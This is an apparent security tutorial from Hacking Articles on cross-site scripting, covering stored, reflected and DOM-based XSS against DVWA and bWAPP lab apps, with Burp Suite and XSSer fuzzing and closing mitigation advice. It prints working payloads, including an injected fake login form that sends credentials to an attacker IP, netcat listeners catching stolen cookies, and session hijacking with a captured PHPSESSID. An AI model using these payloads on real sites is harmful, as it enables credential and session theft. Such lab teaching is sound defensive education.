Comprehensive Guide on Cross-Site Scripting (XSS)
Table of Content
· Introduction to Cross-Site Scripting (XSS)
· Impact of Cross-Site Scripting
· Types of XSS
o Reflected XSS
o Stored XSS
o DOM-based XSS
· Cross-Site Scripting Exploitation
o Credential Capturing
o Cookie Capture
· Mitigation Steps
· It is easy to learn.
· It helps to build interactive web-applications.
· Is the only the programming language that can be interpreted by the browser i.e. the browser runs it, instead of displaying it.
· It is flexible, as it simply gets blends up with the HTML codes.
When the page loads up, it is an event. When the user clicks a button, that clicks is too an event. Other examples such as – pressing any key, closing a window, resizing a window, etc. Therefore such events are thus managed by some event-handlers.
<body onload=alert(‘Welcome to Hacking Articles’)>
So whenever the body tag loads up, an alert will pop up with the following text “Welcome to Hacking Articles”. Here the loading of the body tag is an “event” or a happening and “onload” is an event handler which decides what action should happen on that event.
For example, let us understand the following code:
<a onmouseover=alert(“50% discount”)>surprise</a>
Now when the user moves his cursor over the surprise the displayed text on the page, an alert box will pop up with 50% discount.
Introduction to Cross-Site Scripting (XSS)
Confused with what’s happening? Let’s make it more clear with the following example.
Consider a web application that allows its users to set-up their “brief description” over at their profile, which is thus visible to everyone. Now the attacker notice that the description field is not properly validating the inputs, so he injects his malicious script into that field.
Now, whenever the visitor views the attacker’s profile, the code get’s automatically executed by the browser and therefore it captures up the authenticated cookies and over on the other side, the attacker would have the victim’s active session.
Impact of Cross-Site Scripting
From the last decay, Cross-Site Scripting has managed its position in the OWASP Top10 list, as it is one of the most crucial and the most widely-used attack method on the internet.
Therefore, over with this vulnerability, the attacker could:
· Capture and access the user’s authenticated session cookies.
· Uploads a phishing page to lure the users into unintentional actions.
· Redirects the visitors to some other malicious sections.
· Expose the user’s sensitive data.
· Manipulates the structure of the web-application or even defaces it.
However, XSS has been reported with a “CVSS Score” of “6.1” as on “Medium” Severity under
· CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
· CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Types of XSS
§ Stored XSS
§ Reflected XSS
§ DOM-based XSS
“Stored XSS” often termed as “Persistent XSS” or “Type I”, as over through this vulnerability the injected malicious script gets permanently stored inside the web application’s database server and the server further drops it out back, when the user visits the respective website.
The most common example of Stored XSS is the “comment option” in the blogs, which allow any user to enter his feedback as in the form of comments for the administrator or other users.
Let’s carry this up by considering an example:
A web-application is asking its user to submit their feedback, as there on its webpage it is having two input fields- one for the name and other for the comment.
Now, whenever the user hits up the submits button, his entry gets stored into the database. To make it more clear, I’ve called up the database table on the screen as:
Here, the developer trusts his users and hadn’t placed any validations over at the fields. So this loophole was encountered by the attacker and therefore he took advantage of it, as – instead of submitting the feedback, he commented his malicious script.
<script>alert("Hey!! This website belongs to Hacking Articles")</script>
From the below screenshot, you can see that the attacker got success, as the web-application reflects with an alert pop-up.
Now, back on the database, you can see that the table has been updated with Name as “Ignite” and the Feeback field is empty, this clears up that the attacker’s script had been injected successfully.
So let’s switch to another browser as a different user and would again try to submit genuine feedback.
Now when we hit the Submit button, our browser will execute the injected script and reflects it on the screen.
The Reflected XSS also termed as “Non-Persistence XSS” or “Type II”, occurs when the web application responds immediately on user’s input without validating what the user entered, this can lead an attacker to inject browser executable code inside the single HTML response. It is termed “non-persistent” as the malicious script does not get stored inside the web-server’s database, thus the attacker needs to send the malicious link through phishing in order to trap the user.
Reflect XSS is a major with two types:
§ Reflected XSS GET
§ Reflected XSS POST
To be more clear with the concept of Reflected XSS, let’s check out the following scenario.
Here, we’ve created a webpage, which thus permits up the user to search for a particular training course.
So, when the user searches for “Bug Bounty”, a message prompts back over on the screen as “You have searched for Bug Bounty.”
Thus, this instant response and the “search” parameter in the URL shows up that, the page might be vulnerable to XSS and even the data has been requested over through the GET method.
get.php?search=<script>alert("Welcome to hacking Articles!!")</script>
Great!! From the below screenshot, you can see that we got the alert reflected as “Welcome to Hacking Articles!!”
Wonder why this all happened, let’s check out the following code snippet.
With the ease to reflect the message on the screen, the developer didn’t set up any input validation over at the ignite function and he simply “echo” the “Search Message” with ignite($search) through the “$_GET” variable.
The DOM–Based Cross–Site Scripting is the vulnerability which appears up in a Document Object Model rather than in the HTML pages.
But what is this Document Object Model?
A DOM or a Document Object Model describes up the different web-page segments like – title, headings, tables, forms, etc. and even the hierarchical structure of an HTML page. Thus, this API increases the skill of the developers to produce and change HTML and XML documents as programming objects.
When an HTML document is loaded into a web browser, it becomes a “Document Object”.
However, this document object is the root node of the HTML documents and the “owner” of all other nodes.
This is quite different from reflected and stored XSS because over in this attack, the developer cannot find the malicious script in HTML source code as well as in HTML response, it can be observed at execution time.
The DOM-Based XSS exploits these problems on the user’s local machines in this way:
– The attacker creates a well-built malicious website
– The ingenious user opens that sites
– The user has a vulnerable page on his machine
– The attacker’s website sends commands to the vulnerable HTML page
– The vulnerable local page executes that commands with the user’s privileges on that machine.
– The attacker easily gains control of the victim computer.
Didn’t understand well, let’s check out a DOM-based XSS exploitation.
The following application was thereby vulnerable to DOM-based XSS attack. The web application further permits its users to opt a language with the following displayed options and thus executes the input through its URL.
From the above screenshot, you can see that we do not have any specific section where we could include our malicious code. Therefore, in order to deface this web-application, we’ll now manipulate up the “URL” as it is the most common source for the DOM XSS.
http://localhost/DVWA/vulnerabilities/xss_d/?default=English#<script>alert("This is DOM XSS");</script>
After manipulating up the URL, hit enter. Now, we’ll again choose up the language and as we fire up the select button, the browser executes up the code in the URL and pops out the DOM XSS alert.
The major difference between DOM-based XSS and Reflected or Stored XSS is that it cannot be stopped by server-side filters because anything written after the “#” (hash) will never forward to the server.
Cross-Site Scripting Exploitation
I’m sure you might be wondering that “Okay, we got the pop-up, but now what? What we could do with this? I’ll click the OK button and this pop-up will go.”
But this pop-up speaks about a thousand words. Let’s take a U-turn and get back to the place, where we got our first pop-up; Yes over at the Stored Section.
So, as we are now aware of the fact that whenever a user submits up his feedback, it will get stored directly into the server’s database. And if the attacker manipulates the feedback with an “alert message”, thus even the alert will get stored into it, and it pops up every time, whenever some other user visits the application’s web-page.
But what, if rather than a pop-up the user is welcomed with a login page?
Let’s try to solve this by injecting a malicious payload that will create up a fake user login form on the web page, which will thus forward the captured request over to the attacker’s IP.
So, let’s includes the following script over at the feedback field in the web-application
<div style="position: absolute; left: 0px; top: 0px; background-color:#fddacd;width: 1900px; height: 1300px;"><h2>Please login to continue!!</h2>
<br><form name="login" action="http://192.168.0.9:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="password" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
Now this malicious code has been stored into the web application’s database.
Over at some other browser, think when a user tries to submit the feedback.
As soon as she hit the submit button, the browser executes up the script and he got welcomed with login form as “Please login to continue!!”.
Over on the other side, let’s enable our listener as with
nc –lvp 4444
Now, as when she enters up her credentials, the scripts will boot up again and the entered credentials will travel to the attacker’s listener.
Cool!! From the below screenshot, you can see that we’ve successfully captured up the victim’s credentials.
There are times when an attacker needs authenticated cookies of a logged-in user either to access his account or for some other malicious purpose.
So let’s see how this XSS vulnerability empowers the attackers to capture the session cookies and how the attacker abuses them in order to get into the user’s account.
I’ve opened the vulnerable web-application “DVWA” over in my browser and logged-in inside with admin: password. Further, from the left-hand panel I’ve opted the vulnerability as XSS (Stored), over for this time let’s keep the security to low.
Let’s enter our malicious payload over into the “Message” section, but before that, we need to increase the length of text-area as it is not sufficient to inject our payload. Therefore, open up the inspect element tab by hitting “Ctrl + I” to view it’s given message length for the text area and then further change the message maxlength field from 50 -150.
Over in the following screenshot, you can see that I have injected the script which will thus capture up the cookie and will send the response to our listener when any user visits this page.
Now, on the other side, let’s set up our Netcat listener as with
nc –lvp 4444
Logout and login again as a new user or in some other browser, now if the user visits the XSS (Stored) page, his session cookies will thus get transferred to our listener
Great!! From the below screenshot you can see that, we’ve successfully captured up the authenticated cookies.
But what we could do with them?
Let’s try to get into his account. I’ve opened up DVWA again but this time, we won’t log in, rather I’ll get with the captured cookies. I’ve used the cookie editor plugin in order to manipulate up the session.
From the below screenshot, you can see that, I’ve changed the PHPSESID with the one I captured and had manipulated the security from impossible to low and even decreased the security _level from 1 to 0 and have thus saved up these changes. Let’s even manipulate the URL by removing login.php
Great!! Now simply reloads the page, from the screenshot you can see are that we are into the application.
Exploitation with Burpsuite
Stored XSS is hard to find, but over on the other hand, Reflected XSS is very common and thus can be exploited with some simple clicks.
But wait, up till now we were only exploiting the web-applications that were not validated by the developers, so what about the restricted ones?
Web applications with the input fields are somewhere or the other vulnerable to XSS, but we can’t exploit them with the bare hands, as they were secured up with some validations. Therefore in order to exploit such validated applications, we need some fuzzing tools and thus for the fuzzing thing, we can count on BurpSuite.
I’ve opened the target IP in my browser and login inside BWAPP as a bee: bug, further I’ve set the “Choose Your Bug” option to “XSS –Reflected (Post)” and had fired up the hack button, and for this section, I’ve set the security to “medium”
From the below screenshot, you can see that when we tried to execute our payload as <script>alert(“hello”)</script>, we hadn’t got our desired result.
So, let’s capture its ongoing HTTP Request in our burpsuite and will further share the captured request over to the “Intruder”.
Over into the intruder, switch to the Position tab and we’ll configure the position to our input-value parameter as “firstname” with the Add $ button.
Time to include our payloads file. Click on the load button in order to add the dictionary. You can even opt the burpsuite’s predefined XSS dictionary with a simple click on the “Add from list” button and selecting the Fuzzing-XSS.
As soon as we’re over with the configuration, we’ll fire up the “Start Attack” button.
From the below image, you can see that our attack has been started and there is a fluctuation in the length section. In order to get the result in the descending order with respect to the length, I’ve double-clicked the length field.
We’re almost done, let’s double click on any payload in order to check what it offers.
But wait!! We can’t see the XSS result over in the response tab as the browser can only render this malicious code, so in order to check its response let’s simply do a right-click and choose the option as “Show Response in browser”
Copy the offered URL and paste it in the browser. Great!! From the below image, you can see that we’ve successfully bypassed the application as we got the alert.
Cross-Site “Scripter” or an “XSSer” is an automatic framework, which detects XSS vulnerabilities over in the web-applications and even provides up several options to exploit them.
XSSer has more than 1300 pre-installed XSS fuzzing vectors which thus empowers the attacker to bypass certainly filtered web-applications and the WAF’s(Web –Application Firewalls).
So, let’s see how this fuzzer could help us in exploiting our bWAPP’s web-application. But in order to go ahead, we need to clone XSSer into our kali machine, so let’s do it with
git clone https://github.com/epsylon/xsser.git
Now, boot back into your bWAPP, and set the “Choose your Bug” option to “XSS –Reflected (Get)” and hit the hack button and for this time we’ll set the security level to “medium”.
XSSer offers us two platforms – the GUI and the Command-Line. Therefore, for this section, we’ll focus on the Command Line method.
As the XSS vulnerability is dependable on the input parameters, thus this XSSer works on “URL”; and even to get the precise result we need the cookies too. In order to grab both the things, I’ve made a dry run by setting up the firstname as “test” and the lastname as “test1”.
Now, let’s capture the browser’s request into our burpsuite, by simply enabling the proxy and the intercept options, further as we hit the Go button, we got the output as
Fire up you Kali Terminal with XSSer and run the following command with the –url and the –cookie flags. Here I’ve even used an –auto flag which will thus check the URL with all the preloaded vectors. Over at the applied URL, we need to manipulate an input-parameter value to “XSS”, as in our case I’ve changed the “test” with “XSS”.
python3 xsser --url "http://192.168.0.9/bWAPP/xss_get.php?firstname=XSS&lastname=test1&form=submit" --cookie "PHPSESSID=q6t1k21lah0ois25m0b4egps85; security_level=1" --auto
Oops!! From the below screenshot, you can see that this URL is vulnerable with 1287 vectors.
The best thing about this fuzzer is that it provides up the browser’s URL. Select and execute anyone and there you go.
It is not necessary that with every payload, you’ll get the alert pop-up, as every different payload is defined up with some specific event, whether it is setting up an iframe, capturing up some cookies, or redirection to some other website or something else.
Therefore, from the below screenshot, it is clear that we’ve successfully defaced this web-application.
· Developers should implement a whitelist of allowable inputs, and if not possible then there should be some input validations and the data entered by the user must be filtered as much as possible.
· Output encoding is the most reliable solution to combat XSS i.e. it takes up the script code and thus converts it into the plain text.
· A WAF or a Web Application Firewall should be implemented as it somewhere protects the application from XSS attacks.
· Use of HTTPOnly Flags on the Cookies.
· The developers can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities
Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here